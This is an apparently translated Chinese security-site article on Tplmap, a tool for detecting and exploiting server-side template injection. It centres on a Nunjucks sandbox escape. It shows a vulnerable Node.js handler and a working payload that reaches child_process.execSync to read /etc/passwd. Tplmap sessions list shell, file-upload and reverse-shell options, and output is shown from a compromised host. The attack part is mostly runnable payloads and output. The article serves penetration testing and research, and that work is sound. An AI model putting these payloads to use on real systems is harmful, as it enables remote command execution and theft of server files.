频道栏目
首页 > 资讯 > 工具软件 > 正文

使用Tplmap对Nunjucks模板引擎进行服务端的模板注入

16-08-05        来源:[db:作者]  
收藏   我要投稿
介绍
本文描述的是一种沙箱逃逸技术,这是一种用于发动服务器端模板注入攻击(SSTI)的工具,Tplmap在Nunjucks模板引擎上实现了这种技术,并且成功地让操作系统执行了远程命令。感谢Andrea在分析过程中对我的帮助。
Tplmap
Tplmap(Template Mapper)是一种自动化工具,可以检测和利用服务器端模板注入漏洞(SSTI)。它可以协助SSTI利用使应用程序妥协, 并且让操作系统执行远程命令。
安全研究和渗透测试人员可以使用这种工具来检测和利用漏洞,并研究模板注入缺陷。
Tplmap模板功能可以通过插件进行扩展。这里有几个打破沙箱的方法,来自James Kett的研究:Server-Side Template Injection: RCE For The Modern Web App。
具有高级功能的Tplmap能够在盲注的情况下检测并实现命令的执行。
例子
$ ./tplmap.py -u 'http://www.target.com/app?id=*'
[+] Tplmap 0.1
    Automatic Server-Side Template Injection Detection and Exploitation Tool
 
[+] Found placeholder in GET parameter 'inj'
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '#set($c=*)\n${c}\n'
[+] Jade plugin is testing rendering with tag '\n= *\n'
[+] Jade plugin has confirmed injection with tag '\n= *\n'
[+] Tplmap identified the following injection point:
 
  Engine: Jade
  Injection: \n= *\n
  Context: text
  OS: darwin
  Technique: render
  Capabilities:
 
   Code evaluation: yes, javascript code
   Shell command execution: yes
   File write: yes
   File read: yes
   Bind and reverse shell: yes
 
[+] Rerun tplmap providing one of the following options:
 
   --os-shell or --os-cmd to execute shell commands via the injection
   --upload LOCAL REMOTE to upload files to the server
   --download REMOTE LOCAL to download remote files
   --bind-shell PORT to bind a shell on a port and connect to it
   --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT
 
$ ./tplmap.py -u 'http://www.target.com/app?id=*' --os-shell
[+] Run commands on the operating system.
 
linux $ whoami
www-data
linux $ ls -al /etc/passwd
-rw-r--r--  1 root  wheel  5925 16 Sep  2015 /etc/passwd
linux $
NUNJUCKS
Nunjucks是一种模板引擎,用于在Express和Express这类Node.js web框架上开发web应用程序。下面的Connect应用片段来自于一个web页面(http://localhost:15004/page?name=John),其中存在着服务器端模板注入漏洞。
app.use('/page', function(req, res){
  if(req.url) {
    var url_parts = url.parse(req.url, true);
    var name = url_parts.query.name;
    
    // Include user-input in the template
    var template = 'Hello ' + name + '!';
    
    rendered = nunjucks.renderString(
      str = template
    );
    res.end(rendered);
  }
});
 
用户可控的name GET参数被串联到了模板字符串,而不是作为context参数被传递,这就引入了SSTI漏洞。通过注入一个基本操作,这种含有漏洞的参数就能被探测到。
$ curl -g 'http://localhost:15004/page?name={{7*7}}'
Hello 49
 
这种漏洞不会影响到Nunjucks本身,但是当用户的输入被直接串联到一个模板时,漏洞会被引入。
沙箱逃逸
和其他的很多模板引擎一样,Nunjucks模板代码在一个沙箱环境中运行。所有的全局对象都从这种环境中被剥离了出去,这样是为了限制可以被利用来打破沙箱的surface,并执行任意JavaScript代码。你可以使用Tplmap的--tpl-shell选项来检查沙盒surface。
从模板里面调用全局对象控制台,这会引发一个尚未定义的异常。
{{console.log(1)}}
 
// Template render error: (unknown path)
//  Error: Unable to call `console["log"]`, which is undefined or falsey
 
这里有三个实用函数:range、cycler和joiner,只有它们可以在模板内被调用。
每个函数的constructor性质就是Function constructor,它能够从body字符串开始,创建一个新的函数。
1
2
{{range.constructor("console.log(123)")()}}
// 123
 
上面的代码得到了正确的评估。但是,在没有引发异常的时候,require()不能被用于输入标准模块,因此操作系统访问出现了问题。
{{range.constructor("return require('fs')")()}}
 
//Template render error: (unknown path)
//  ReferenceError: require is not defined
 

 

使用global.process.mainModule.require可以绕过require 约束。在下面的代码片段中, fs模块被导入并输出了。
{{range.constructor("return global.process.mainModule.require('fs')")()}}
 
[object Object]
 
最后, 经由child_process.execSync()方法,用于访问底层操作系统的利用可以通过执行tail /etc/passwd来完成。
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
TPLMAP集成
这种沙箱逃逸技术已经被集成在了Tplmap Nunjucks插件中,可以用完全自动的方式使目标妥协。
$ ./tplmap.py -u http://localhost:15004/page?name=* --engine Nunjucks --os-shell
[+] Tplmap 0.1
    Automatic Server-Side Template Injection Detection and Exploitation Tool
 
[+] Found placeholder in GET parameter 'name'
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
 
  Engine: Nunjucks
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:
 
   Code evaluation: yes, javascript code
   Shell command execution: yes
   File write: yes
   File read: yes
   Bind and reverse shell: yes
 
[+] Run commands on the operating system
 
linux $ tail /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
支持新模板引擎的Tplmap可以很容易地通过编写插件进行扩展。所有的内容,包括代码和新模板引擎上的沙箱逃逸这个点子,都受到了极大的赞赏。
相关TAG标签
上一篇:为求职学黑客技术 小伙误入歧途被捕
下一篇:美国土安全部长担忧黑客渗透大选投票系统
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站